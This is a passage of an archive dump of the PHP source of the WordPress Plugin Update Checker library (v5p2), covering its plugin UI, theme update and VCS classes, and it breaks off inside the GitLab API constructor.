Many WP APIs use this to identify plugins. public $muPluginFile = ''; //For MU plugins, the plugin filename relative to the mu-plugins directory. /** * @var Package */ protected $package; private $extraUi = null; /** * Class constructor. * * @param string $metadataUrl The URL of the plugin's metadata file. * @param string $pluginFile Fully qualified path to the main plugin file. * @param string $slug The plugin's 'slug'. If not specified, the filename part of $pluginFile sans '.php' will be used as the slug. * @param integer $checkPeriod How often to check for updates (in hours). Defaults to checking every 12 hours. Set to 0 to disable automatic update checks. * @param string $optionName Where to store book-keeping info about update checks. Defaults to 'external_updates-$slug'. * @param string $muPluginFile Optional. The plugin filename relative to the mu-plugins directory. */ public function __construct($metadataUrl, $pluginFile, $slug = '', $checkPeriod = 12, $optionName = '', $muPluginFile = ''){ $this->pluginAbsolutePath = $pluginFile; $this->pluginFile = plugin_basename($this->pluginAbsolutePath); $this->muPluginFile = $muPluginFile; //If no slug is specified, use the name of the main plugin file as the slug. //For example, 'my-cool-plugin/cool-plugin.php' becomes 'cool-plugin'. if ( empty($slug) ){ $slug = basename($this->pluginFile, '.php'); } //Plugin slugs must be unique. $slugCheckFilter = 'puc_is_slug_in_use-' . $slug; $slugUsedBy = apply_filters($slugCheckFilter, false); if ( $slugUsedBy ) { $this->triggerError(sprintf( 'Plugin slug "%s" is already in use by %s. Slugs must be unique.', $slug, $slugUsedBy ), E_USER_ERROR); } add_filter($slugCheckFilter, array($this, 'getAbsolutePath')); parent::__construct($metadataUrl, dirname($this->pluginFile), $slug, $checkPeriod, $optionName); //Backwards compatibility: If the plugin is a mu-plugin but no $muPluginFile is specified, assume //it's the same as $pluginFile given that it's not in a subdirectory (WP only looks in the base dir). if ( (strpbrk($this->pluginFile, '/\\') === false) && $this->isUnknownMuPlugin() ) { $this->muPluginFile = $this->pluginFile; } //To prevent a crash during plugin uninstallation, remove updater hooks when the user removes the plugin. //Details: https://github.com/YahnisElsts/plugin-update-checker/issues/138#issuecomment-335590964 add_action('uninstall_' . $this->pluginFile, array($this, 'removeHooks')); $this->extraUi = new Ui($this); } /** * Create an instance of the scheduler. * * @param int $checkPeriod * @return Scheduler */ protected function createScheduler($checkPeriod) { $scheduler = new Scheduler($this, $checkPeriod, array('load-plugins.php')); register_deactivation_hook($this->pluginFile, array($scheduler, 'removeUpdaterCron')); return $scheduler; } /** * Install the hooks required to run periodic update checks and inject update info * into WP data structures. * * @return void */ protected function installHooks(){ //Override requests for plugin information add_filter('plugins_api', array($this, 'injectInfo'), 20, 3); parent::installHooks(); } /** * Remove update checker hooks. * * The intent is to prevent a fatal error that can happen if the plugin has an uninstall * hook. During uninstallation, WP includes the main plugin file (which creates a PUC instance), * the uninstall hook runs, WP deletes the plugin files and then updates some transients. * If PUC hooks are still around at this time, they could throw an error while trying to * autoload classes from files that no longer exist. * * The "site_transient_{$transient}" filter is the main problem here, but let's also remove * most other PUC hooks to be safe. * * @internal */ public function removeHooks() { parent::removeHooks(); $this->extraUi->removeHooks(); $this->package->removeHooks(); remove_filter('plugins_api', array($this, 'injectInfo'), 20); } /** * Retrieve plugin info from the configured API endpoint. * * @uses wp_remote_get() * * @param array $queryArgs Additional query arguments to append to the request. Optional. * @return PluginInfo */ public function requestInfo($queryArgs = array()) { list($pluginInfo, $result) = $this->requestMetadata( PluginInfo::class, 'request_info', $queryArgs ); if ( $pluginInfo !== null ) { /** @var PluginInfo $pluginInfo */ $pluginInfo->filename = $this->pluginFile; $pluginInfo->slug = $this->slug; } $pluginInfo = apply_filters($this->getUniqueName('request_info_result'), $pluginInfo, $result); return $pluginInfo; } /** * Retrieve the latest update (if any) from the configured API endpoint. * * @uses UpdateChecker::requestInfo() * * @return Update|null An instance of Plugin Update, or NULL when no updates are available. */ public function requestUpdate() { //For the sake of simplicity, this function just calls requestInfo() //and transforms the result accordingly. $pluginInfo = $this->requestInfo(array('checking_for_updates' => '1')); if ( $pluginInfo === null ){ return null; } $update = Update::fromPluginInfo($pluginInfo); $update = $this->filterUpdateResult($update); return $update; } /** * Intercept plugins_api() calls that request information about our plugin and * use the configured API endpoint to satisfy them. * * @see plugins_api() * * @param mixed $result * @param string $action * @param array|object $args * @return mixed */ public function injectInfo($result, $action = null, $args = null){ $relevant = ($action == 'plugin_information') && isset($args->slug) && ( ($args->slug == $this->slug) || ($args->slug == dirname($this->pluginFile)) ); if ( !$relevant ) { return $result; } $pluginInfo = $this->requestInfo(); $this->fixSupportedWordpressVersion($pluginInfo); $pluginInfo = apply_filters($this->getUniqueName('pre_inject_info'), $pluginInfo); if ( $pluginInfo ) { return $pluginInfo->toWpFormat(); } return $result; } protected function shouldShowUpdates() { //No update notifications for mu-plugins unless explicitly enabled. The MU plugin file //is usually different from the main plugin file so the update wouldn't show up properly anyway. return !$this->isUnknownMuPlugin(); } /** * @param \stdClass|null $updates * @param \stdClass $updateToAdd * @return \stdClass */ protected function addUpdateToList($updates, $updateToAdd) { if ( $this->package->isMuPlugin() ) { //WP does not support automatic update installation for mu-plugins, but we can //still display a notice. $updateToAdd->package = null; } return parent::addUpdateToList($updates, $updateToAdd); } /** * @param \stdClass|null $updates * @return \stdClass|null */ protected function removeUpdateFromList($updates) { $updates = parent::removeUpdateFromList($updates); if ( !empty($this->muPluginFile) && isset($updates, $updates->response) ) { unset($updates->response[$this->muPluginFile]); } return $updates; } /** * For plugins, the update array is indexed by the plugin filename relative to the "plugins" * directory. Example: "plugin-name/plugin.php". * * @return string */ protected function getUpdateListKey() { if ( $this->package->isMuPlugin() ) { return $this->muPluginFile; } return $this->pluginFile; } protected function getNoUpdateItemFields() { return array_merge( parent::getNoUpdateItemFields(), array( 'id' => $this->pluginFile, 'slug' => $this->slug, 'plugin' => $this->pluginFile, 'icons' => array(), 'banners' => array(), 'banners_rtl' => array(), 'tested' => '', 'compatibility' => new \stdClass(), ) ); } /** * Alias for isBeingUpgraded(). * * @deprecated * @param \WP_Upgrader|null $upgrader The upgrader that's performing the current update. * @return bool */ public function isPluginBeingUpgraded($upgrader = null) { return $this->isBeingUpgraded($upgrader); } /** * Is there an update being installed for this plugin, right now? * * @param \WP_Upgrader|null $upgrader * @return bool */ public function isBeingUpgraded($upgrader = null) { return $this->upgraderStatus->isPluginBeingUpgraded($this->pluginFile, $upgrader); } /** * Get the details of the currently available update, if any. * * If no updates are available, or if the last known update version is below or equal * to the currently installed version, this method will return NULL. * * Uses cached update data. To retrieve update information straight from * the metadata URL, call requestUpdate() instead. * * @return Update|null */ public function getUpdate() { $update = parent::getUpdate(); if ( isset($update) ) { /** @var Update $update */ $update->filename = $this->pluginFile; } return $update; } /** * Get the translated plugin title. * * @deprecated * @return string */ public function getPluginTitle() { return $this->package->getPluginTitle(); } /** * Check if the current user has the required permissions to install updates. * * @return bool */ public function userCanInstallUpdates() { return current_user_can('update_plugins'); } /** * Check if the plugin file is inside the mu-plugins directory. * * @deprecated * @return bool */ protected function isMuPlugin() { return $this->package->isMuPlugin(); } /** * MU plugins are partially supported, but only when we know which file in mu-plugins * corresponds to this plugin. * * @return bool */ protected function isUnknownMuPlugin() { return empty($this->muPluginFile) && $this->package->isMuPlugin(); } /** * Get absolute path to the main plugin file. * * @return string */ public function getAbsolutePath() { return $this->pluginAbsolutePath; } /** * Register a callback for filtering query arguments. * * The callback function should take one argument - an associative array of query arguments. * It should return a modified array of query arguments. * * @uses add_filter() This method is a convenience wrapper for add_filter(). * * @param callable $callback * @return void */ public function addQueryArgFilter($callback){ $this->addFilter('request_info_query_args', $callback); } /** * Register a callback for filtering arguments passed to wp_remote_get(). * * The callback function should take one argument - an associative array of arguments - * and return a modified array or arguments. See the WP documentation on wp_remote_get() * for details on what arguments are available and how they work. * * @uses add_filter() This method is a convenience wrapper for add_filter(). * * @param callable $callback * @return void */ public function addHttpRequestArgFilter($callback) { $this->addFilter('request_info_options', $callback); } /** * Register a callback for filtering the plugin info retrieved from the external API. * * The callback function should take two arguments. If the plugin info was retrieved * successfully, the first argument passed will be an instance of PluginInfo. Otherwise, * it will be NULL. The second argument will be the corresponding return value of * wp_remote_get (see WP docs for details). * * The callback function should return a new or modified instance of PluginInfo or NULL. * * @uses add_filter() This method is a convenience wrapper for add_filter(). * * @param callable $callback * @return void */ public function addResultFilter($callback) { $this->addFilter('request_info_result', $callback, 10, 2); } protected function createDebugBarExtension() { return new DebugBar\PluginExtension($this); } /** * Create a package instance that represents this plugin or theme. * * @return InstalledPackage */ protected function createInstalledPackage() { return new Package($this->pluginAbsolutePath, $this); } /** * @return Package */ public function getInstalledPackage() { return $this->package; } } endif; �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Plugin/Ui.php���������������������������������������������������������������0000644�����������������00000024257�14757771437�0013337 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Plugin; if ( !class_exists('Ui', false) ): /** * Additional UI elements for plugins. */ class Ui { private $updateChecker; private $manualCheckErrorTransient = ''; /** * @param UpdateChecker $updateChecker */ public function __construct($updateChecker) { $this->updateChecker = $updateChecker; $this->manualCheckErrorTransient = $this->updateChecker->getUniqueName('manual_check_errors'); add_action('admin_init', array($this, 'onAdminInit')); } public function onAdminInit() { if ( $this->updateChecker->userCanInstallUpdates() ) { $this->handleManualCheck(); add_filter('plugin_row_meta', array($this, 'addViewDetailsLink'), 10, 3); add_filter('plugin_row_meta', array($this, 'addCheckForUpdatesLink'), 10, 2); add_action('all_admin_notices', array($this, 'displayManualCheckResult')); } } /** * Add a "View Details" link to the plugin row in the "Plugins" page. By default, * the new link will appear before the "Visit plugin site" link (if present). * * You can change the link text by using the "puc_view_details_link-$slug" filter. * Returning an empty string from the filter will disable the link. * * You can change the position of the link using the * "puc_view_details_link_position-$slug" filter. * Returning 'before' or 'after' will place the link immediately before/after * the "Visit plugin site" link. * Returning 'append' places the link after any existing links at the time of the hook. * Returning 'replace' replaces the "Visit plugin site" link. * Returning anything else disables the link when there is a "Visit plugin site" link. * * If there is no "Visit plugin site" link 'append' is always used! * * @param array $pluginMeta Array of meta links. * @param string $pluginFile * @param array $pluginData Array of plugin header data. * @return array */ public function addViewDetailsLink($pluginMeta, $pluginFile, $pluginData = array()) { if ( $this->isMyPluginFile($pluginFile) && !isset($pluginData['slug']) ) { $linkText = apply_filters($this->updateChecker->getUniqueName('view_details_link'), __('View details')); if ( !empty($linkText) ) { $viewDetailsLinkPosition = 'append'; //Find the "Visit plugin site" link (if present). $visitPluginSiteLinkIndex = count($pluginMeta) - 1; if ( $pluginData['PluginURI'] ) { $escapedPluginUri = esc_url($pluginData['PluginURI']); foreach ($pluginMeta as $linkIndex => $existingLink) { if ( strpos($existingLink, $escapedPluginUri) !== false ) { $visitPluginSiteLinkIndex = $linkIndex; $viewDetailsLinkPosition = apply_filters( $this->updateChecker->getUniqueName('view_details_link_position'), 'before' ); break; } } } $viewDetailsLink = sprintf('<a href="%s" class="thickbox open-plugin-details-modal" aria-label="%s" data-title="%s">%s</a>', esc_url(network_admin_url('plugin-install.php?tab=plugin-information&plugin=' . urlencode($this->updateChecker->slug) . '&TB_iframe=true&width=600&height=550')), esc_attr(sprintf(__('More information about %s'), $pluginData['Name'])), esc_attr($pluginData['Name']), $linkText ); switch ($viewDetailsLinkPosition) { case 'before': array_splice($pluginMeta, $visitPluginSiteLinkIndex, 0, $viewDetailsLink); break; case 'after': array_splice($pluginMeta, $visitPluginSiteLinkIndex + 1, 0, $viewDetailsLink); break; case 'replace': $pluginMeta[$visitPluginSiteLinkIndex] = $viewDetailsLink; break; case 'append': default: $pluginMeta[] = $viewDetailsLink; break; } } } return $pluginMeta; } /** * Add a "Check for updates" link to the plugin row in the "Plugins" page. By default, * the new link will appear after the "Visit plugin site" link if present, otherwise * after the "View plugin details" link. * * You can change the link text by using the "puc_manual_check_link-$slug" filter. * Returning an empty string from the filter will disable the link. * * @param array $pluginMeta Array of meta links. * @param string $pluginFile * @return array */ public function addCheckForUpdatesLink($pluginMeta, $pluginFile) { if ( $this->isMyPluginFile($pluginFile) ) { $linkUrl = wp_nonce_url( add_query_arg( array( 'puc_check_for_updates' => 1, 'puc_slug' => $this->updateChecker->slug, ), self_admin_url('plugins.php') ), 'puc_check_for_updates' ); $linkText = apply_filters( $this->updateChecker->getUniqueName('manual_check_link'), __('Check for updates', 'plugin-update-checker') ); if ( !empty($linkText) ) { /** @noinspection HtmlUnknownTarget */ $pluginMeta[] = sprintf('<a href="%s">%s</a>', esc_attr($linkUrl), $linkText); } } return $pluginMeta; } protected function isMyPluginFile($pluginFile) { return ($pluginFile == $this->updateChecker->pluginFile) || (!empty($this->updateChecker->muPluginFile) && ($pluginFile == $this->updateChecker->muPluginFile)); } /** * Check for updates when the user clicks the "Check for updates" link. * * @see self::addCheckForUpdatesLink() * * @return void */ public function handleManualCheck() { $shouldCheck = isset($_GET['puc_check_for_updates'], $_GET['puc_slug']) && $_GET['puc_slug'] == $this->updateChecker->slug && check_admin_referer('puc_check_for_updates'); if ( $shouldCheck ) { $update = $this->updateChecker->checkForUpdates(); $status = ($update === null) ? 'no_update' : 'update_available'; $lastRequestApiErrors = $this->updateChecker->getLastRequestApiErrors(); if ( ($update === null) && !empty($lastRequestApiErrors) ) { //Some errors are not critical. For example, if PUC tries to retrieve the readme.txt //file from GitHub and gets a 404, that's an API error, but it doesn't prevent updates //from working. Maybe the plugin simply doesn't have a readme. //Let's only show important errors. $foundCriticalErrors = false; $questionableErrorCodes = array( 'puc-github-http-error', 'puc-gitlab-http-error', 'puc-bitbucket-http-error', ); foreach ($lastRequestApiErrors as $item) { $wpError = $item['error']; /** @var \WP_Error $wpError */ if ( !in_array($wpError->get_error_code(), $questionableErrorCodes) ) { $foundCriticalErrors = true; break; } } if ( $foundCriticalErrors ) { $status = 'error'; set_site_transient($this->manualCheckErrorTransient, $lastRequestApiErrors, 60); } } wp_redirect(add_query_arg( array( 'puc_update_check_result' => $status, 'puc_slug' => $this->updateChecker->slug, ), self_admin_url('plugins.php') )); exit; } } /** * Display the results of a manual update check. * * @see self::handleManualCheck() * * You can change the result message by using the "puc_manual_check_message-$slug" filter. */ public function displayManualCheckResult() { //phpcs:disable WordPress.Security.NonceVerification.Recommended -- Just displaying a message. if ( isset($_GET['puc_update_check_result'], $_GET['puc_slug']) && ($_GET['puc_slug'] == $this->updateChecker->slug) ) { $status = sanitize_key($_GET['puc_update_check_result']); $title = $this->updateChecker->getInstalledPackage()->getPluginTitle(); $noticeClass = 'updated notice-success'; $details = ''; if ( $status == 'no_update' ) { $message = sprintf(_x('The %s plugin is up to date.', 'the plugin title', 'plugin-update-checker'), $title); } else if ( $status == 'update_available' ) { $message = sprintf(_x('A new version of the %s plugin is available.', 'the plugin title', 'plugin-update-checker'), $title); } else if ( $status === 'error' ) { $message = sprintf(_x('Could not determine if updates are available for %s.', 'the plugin title', 'plugin-update-checker'), $title); $noticeClass = 'error notice-error'; $details = $this->formatManualCheckErrors(get_site_transient($this->manualCheckErrorTransient)); delete_site_transient($this->manualCheckErrorTransient); } else { $message = sprintf(__('Unknown update checker status "%s"', 'plugin-update-checker'), $status); $noticeClass = 'error notice-error'; } $message = esc_html($message); //Plugins can replace the message with their own, including adding HTML. $message = apply_filters( $this->updateChecker->getUniqueName('manual_check_message'), $message, $status ); printf( '<div class="notice %s is-dismissible"><p>%s</p>%s</div>', esc_attr($noticeClass), //phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Was escaped above, and plugins can add HTML. $message, //phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Contains HTML. Content should already be escaped. $details ); } //phpcs:enable } /** * Format the list of errors that were thrown during an update check. * * @param array $errors * @return string */ protected function formatManualCheckErrors($errors) { if ( empty($errors) ) { return ''; } $output = ''; $showAsList = count($errors) > 1; if ( $showAsList ) { $output .= '<ol>'; $formatString = '<li>%1$s <code>%2$s</code></li>'; } else { $formatString = '<p>%1$s <code>%2$s</code></p>'; } foreach ($errors as $item) { $wpError = $item['error']; /** @var \WP_Error $wpError */ $output .= sprintf( $formatString, esc_html($wpError->get_error_message()), esc_html($wpError->get_error_code()) ); } if ( $showAsList ) { $output .= '</ol>'; } return $output; } public function removeHooks() { remove_action('admin_init', array($this, 'onAdminInit')); remove_filter('plugin_row_meta', array($this, 'addViewDetailsLink'), 10); remove_filter('plugin_row_meta', array($this, 'addCheckForUpdatesLink'), 10); remove_action('all_admin_notices', array($this, 'displayManualCheckResult')); } } endif; �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Theme/Package.php�����������������������������������������������������������0000644�����������������00000003445�14757771437�0014115 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Theme; use YahnisElsts\PluginUpdateChecker\v5p2\InstalledPackage; if ( !class_exists(Package::class, false) ): class Package extends InstalledPackage { /** * @var string Theme directory name. */ protected $stylesheet; /** * @var \WP_Theme Theme object. */ protected $theme; public function __construct($stylesheet, $updateChecker) { $this->stylesheet = $stylesheet; $this->theme = wp_get_theme($this->stylesheet); parent::__construct($updateChecker); } public function getInstalledVersion() { return $this->theme->get('Version'); } public function getAbsoluteDirectoryPath() { if ( method_exists($this->theme, 'get_stylesheet_directory') ) { return $this->theme->get_stylesheet_directory(); //Available since WP 3.4. } return get_theme_root($this->stylesheet) . '/' . $this->stylesheet; } /** * Get the value of a specific plugin or theme header. * * @param string $headerName * @param string $defaultValue * @return string Either the value of the header, or $defaultValue if the header doesn't exist or is empty. */ public function getHeaderValue($headerName, $defaultValue = '') { $value = $this->theme->get($headerName); if ( ($headerName === false) || ($headerName === '') ) { return $defaultValue; } return $value; } protected function getHeaderNames() { return array( 'Name' => 'Theme Name', 'ThemeURI' => 'Theme URI', 'Description' => 'Description', 'Author' => 'Author', 'AuthorURI' => 'Author URI', 'Version' => 'Version', 'Template' => 'Template', 'Status' => 'Status', 'Tags' => 'Tags', 'TextDomain' => 'Text Domain', 'DomainPath' => 'Domain Path', ); } } endif; ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Theme/Update.php������������������������������������������������������������0000644�����������������00000004243�14757771437�0014001 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Theme; use YahnisElsts\PluginUpdateChecker\v5p2\Update as BaseUpdate; if ( !class_exists(Update::class, false) ): class Update extends BaseUpdate { public $details_url = ''; protected static $extraFields = array('details_url'); /** * Transform the metadata into the format used by WordPress core. * Note the inconsistency: WP stores plugin updates as objects and theme updates as arrays. * * @return array */ public function toWpFormat() { $update = array( 'theme' => $this->slug, 'new_version' => $this->version, 'url' => $this->details_url, ); if ( !empty($this->download_url) ) { $update['package'] = $this->download_url; } return $update; } /** * Create a new instance of Theme_Update from its JSON-encoded representation. * * @param string $json Valid JSON string representing a theme information object. * @return self New instance of ThemeUpdate, or NULL on error. */ public static function fromJson($json) { $instance = new self(); if ( !parent::createFromJson($json, $instance) ) { return null; } return $instance; } /** * Create a new instance by copying the necessary fields from another object. * * @param \StdClass|self $object The source object. * @return self The new copy. */ public static function fromObject($object) { $update = new self(); $update->copyFields($object, $update); return $update; } /** * Basic validation. * * @param \StdClass $apiResponse * @return bool|\WP_Error */ protected function validateMetadata($apiResponse) { $required = array('version', 'details_url'); foreach($required as $key) { if ( !isset($apiResponse->$key) || empty($apiResponse->$key) ) { return new \WP_Error( 'tuc-invalid-metadata', sprintf('The theme metadata is missing the required "%s" key.', $key) ); } } return true; } protected function getFieldNames() { return array_merge(parent::getFieldNames(), self::$extraFields); } protected function getPrefixedFilter($tag) { return parent::getPrefixedFilter($tag) . '_theme'; } } endif; �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Theme/UpdateChecker.php�����������������������������������������������������0000644�����������������00000011110�14757771437�0015255 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Theme; use YahnisElsts\PluginUpdateChecker\v5p2\UpdateChecker as BaseUpdateChecker; use YahnisElsts\PluginUpdateChecker\v5p2\InstalledPackage; use YahnisElsts\PluginUpdateChecker\v5p2\Scheduler; use YahnisElsts\PluginUpdateChecker\v5p2\DebugBar; if ( !class_exists(UpdateChecker::class, false) ): class UpdateChecker extends BaseUpdateChecker { protected $filterSuffix = 'theme'; protected $updateTransient = 'update_themes'; protected $translationType = 'theme'; /** * @var string Theme directory name. */ protected $stylesheet; public function __construct($metadataUrl, $stylesheet = null, $customSlug = null, $checkPeriod = 12, $optionName = '') { if ( $stylesheet === null ) { $stylesheet = get_stylesheet(); } $this->stylesheet = $stylesheet; parent::__construct( $metadataUrl, $stylesheet, $customSlug ? $customSlug : $stylesheet, $checkPeriod, $optionName ); } /** * For themes, the update array is indexed by theme directory name. * * @return string */ protected function getUpdateListKey() { return $this->directoryName; } /** * Retrieve the latest update (if any) from the configured API endpoint. * * @return Update|null An instance of Update, or NULL when no updates are available. */ public function requestUpdate() { list($themeUpdate, $result) = $this->requestMetadata(Update::class, 'request_update'); if ( $themeUpdate !== null ) { /** @var Update $themeUpdate */ $themeUpdate->slug = $this->slug; } $themeUpdate = $this->filterUpdateResult($themeUpdate, $result); return $themeUpdate; } protected function getNoUpdateItemFields() { return array_merge( parent::getNoUpdateItemFields(), array( 'theme' => $this->directoryName, 'requires' => '', ) ); } public function userCanInstallUpdates() { return current_user_can('update_themes'); } /** * Create an instance of the scheduler. * * @param int $checkPeriod * @return Scheduler */ protected function createScheduler($checkPeriod) { return new Scheduler($this, $checkPeriod, array('load-themes.php')); } /** * Is there an update being installed right now for this theme? * * @param \WP_Upgrader|null $upgrader The upgrader that's performing the current update. * @return bool */ public function isBeingUpgraded($upgrader = null) { return $this->upgraderStatus->isThemeBeingUpgraded($this->stylesheet, $upgrader); } protected function createDebugBarExtension() { return new DebugBar\Extension($this, DebugBar\ThemePanel::class); } /** * Register a callback for filtering query arguments. * * The callback function should take one argument - an associative array of query arguments. * It should return a modified array of query arguments. * * @param callable $callback * @return void */ public function addQueryArgFilter($callback){ $this->addFilter('request_update_query_args', $callback); } /** * Register a callback for filtering arguments passed to wp_remote_get(). * * The callback function should take one argument - an associative array of arguments - * and return a modified array or arguments. See the WP documentation on wp_remote_get() * for details on what arguments are available and how they work. * * @uses add_filter() This method is a convenience wrapper for add_filter(). * * @param callable $callback * @return void */ public function addHttpRequestArgFilter($callback) { $this->addFilter('request_update_options', $callback); } /** * Register a callback for filtering theme updates retrieved from the external API. * * The callback function should take two arguments. If the theme update was retrieved * successfully, the first argument passed will be an instance of Theme_Update. Otherwise, * it will be NULL. The second argument will be the corresponding return value of * wp_remote_get (see WP docs for details). * * The callback function should return a new or modified instance of Theme_Update or NULL. * * @uses add_filter() This method is a convenience wrapper for add_filter(). * * @param callable $callback * @return void */ public function addResultFilter($callback) { $this->addFilter('request_update_result', $callback, 10, 2); } /** * Create a package instance that represents this plugin or theme. * * @return InstalledPackage */ protected function createInstalledPackage() { return new Package($this->stylesheet, $this); } } endif; ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Vcs/VcsCheckerMethods.php���������������������������������������������������0000644�����������������00000002406�14757771437�0015613 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Vcs; if ( !trait_exists(VcsCheckerMethods::class, false) ) : trait VcsCheckerMethods { /** * @var string The branch where to look for updates. Defaults to "master". */ protected $branch = 'master'; /** * @var Api Repository API client. */ protected $api = null; public function setBranch($branch) { $this->branch = $branch; return $this; } /** * Set authentication credentials. * * @param array|string $credentials * @return $this */ public function setAuthentication($credentials) { $this->api->setAuthentication($credentials); return $this; } /** * @return Api */ public function getVcsApi() { return $this->api; } public function getUpdate() { $update = parent::getUpdate(); if ( isset($update) && !empty($update->download_url) ) { $update->download_url = $this->api->signDownloadUrl($update->download_url); } return $update; } public function onDisplayConfiguration($panel) { parent::onDisplayConfiguration($panel); $panel->row('Branch', $this->branch); $panel->row('Authentication enabled', $this->api->isAuthenticationEnabled() ? 'Yes' : 'No'); $panel->row('API client', get_class($this->api)); } } endif;����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Vcs/ThemeUpdateChecker.php��������������������������������������������������0000644�����������������00000005217�14757771437�0015744 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Vcs; use YahnisElsts\PluginUpdateChecker\v5p2\Theme; use YahnisElsts\PluginUpdateChecker\v5p2\Utils; if ( !class_exists(ThemeUpdateChecker::class, false) ): class ThemeUpdateChecker extends Theme\UpdateChecker implements BaseChecker { use VcsCheckerMethods; /** * ThemeUpdateChecker constructor. * * @param Api $api * @param null $stylesheet * @param null $customSlug * @param int $checkPeriod * @param string $optionName */ public function __construct($api, $stylesheet = null, $customSlug = null, $checkPeriod = 12, $optionName = '') { $this->api = $api; parent::__construct($api->getRepositoryUrl(), $stylesheet, $customSlug, $checkPeriod, $optionName); $this->api->setHttpFilterName($this->getUniqueName('request_update_options')); $this->api->setStrategyFilterName($this->getUniqueName('vcs_update_detection_strategies')); $this->api->setSlug($this->slug); } public function requestUpdate() { $api = $this->api; $api->setLocalDirectory($this->package->getAbsoluteDirectoryPath()); $update = new Theme\Update(); $update->slug = $this->slug; //Figure out which reference (tag or branch) we'll use to get the latest version of the theme. $updateSource = $api->chooseReference($this->branch); if ( $updateSource ) { $ref = $updateSource->name; $update->download_url = $updateSource->downloadUrl; } else { do_action( 'puc_api_error', new \WP_Error( 'puc-no-update-source', 'Could not retrieve version information from the repository. ' . 'This usually means that the update checker either can\'t connect ' . 'to the repository or it\'s configured incorrectly.' ), null, null, $this->slug ); $ref = $this->branch; } //Get headers from the main stylesheet in this branch/tag. Its "Version" header and other metadata //are what the WordPress install will actually see after upgrading, so they take precedence over releases/tags. $remoteHeader = $this->package->getFileHeader($api->getRemoteFile('style.css', $ref)); $update->version = Utils::findNotEmpty(array( $remoteHeader['Version'], Utils::get($updateSource, 'version'), )); //The details URL defaults to the Theme URI header or the repository URL. $update->details_url = Utils::findNotEmpty(array( $remoteHeader['ThemeURI'], $this->package->getHeaderValue('ThemeURI'), $this->metadataUrl, )); if ( empty($update->version) ) { //It looks like we didn't find a valid update after all. $update = null; } $update = $this->filterUpdateResult($update); return $update; } } endif; ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Vcs/GitLabApi.php�����������������������������������������������������������0000644�����������������00000026711�14757771437�0014050 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Vcs; if ( !class_exists(GitLabApi::class, false) ): class GitLabApi extends Api { use ReleaseAssetSupport; use ReleaseFilteringFeature; /** * @var string GitLab username. */ protected $userName; /** * @var string GitLab server host. */ protected $repositoryHost; /** * @var string Protocol used by this GitLab server: "http" or "https". */ protected $repositoryProtocol = 'https'; /** * @var string GitLab repository name. */ protected $repositoryName; /** * @var string GitLab authentication token. Optional. */ protected $accessToken; /** * @deprecated * @var bool No longer used. */ protected $releasePackageEnabled = false; public function __construct($repositoryUrl, $accessToken = null, $subgroup = null) { //Parse the repository host to support custom hosts. $port = wp_parse_url($repositoryUrl, PHP_URL_PORT); if ( !empty($port) ) { $port = ':' . $port; } $this->repositoryHost = wp_parse_url($repositoryUrl, PHP_URL_HOST) . $port; if ( $this->repositoryHost !== 'gitlab.com' ) { $this->repositoryProtocol = wp_parse_url($repositoryUrl, PHP_URL_SCHEME); } //Find the repository information $path = wp_parse_url($repositoryUrl, PHP_URL_PATH); if ( preg_match('@^/?(?P<username>[^/]+?)/(?P<repository>[^/#?&]+?)/?$@', $path, $matches) ) { $this->userName = $matches['username']; $this->repositoryName = $matches['repository']; } elseif ( ($this->repositoryHost === 'gitlab.com') ) { //This is probably a repository in a subgroup, e.g. "/organization/category/repo". $parts = explode('/', trim($path, '/')); if ( count($parts) < 3 ) { throw new \InvalidArgumentException('Invalid GitLab.com repository URL: "' . $repositoryUrl . '"'); } $lastPart = array_pop($parts); $this->userName = implode('/', $parts); $this->repositoryName = $lastPart; } else { //There could be subgroups in the URL: gitlab.domain.com/group/subgroup/subgroup2/repository if ( $subgroup !== null ) { $path = str_replace(trailingslashit($subgroup), '', $path); } //This is not a traditional url, it could be gitlab is in a deeper subdirectory. //Get the path segments. $segments = explode('/', untrailingslashit(ltrim($path, '/'))); //We need at least /user-name/repository-name/ if ( count($segments) < 2 ) { throw new \InvalidArgumentException('Invalid GitLab repository URL: "' . $repositoryUrl . '"'); } //Get the username and repository name. $usernameRepo = array_splice($segments, -2, 2); $this->userName = $usernameRepo[0]; $this->repositoryName = $usernameRepo[1]; //Append the remaining segments to the host if there are segments left. 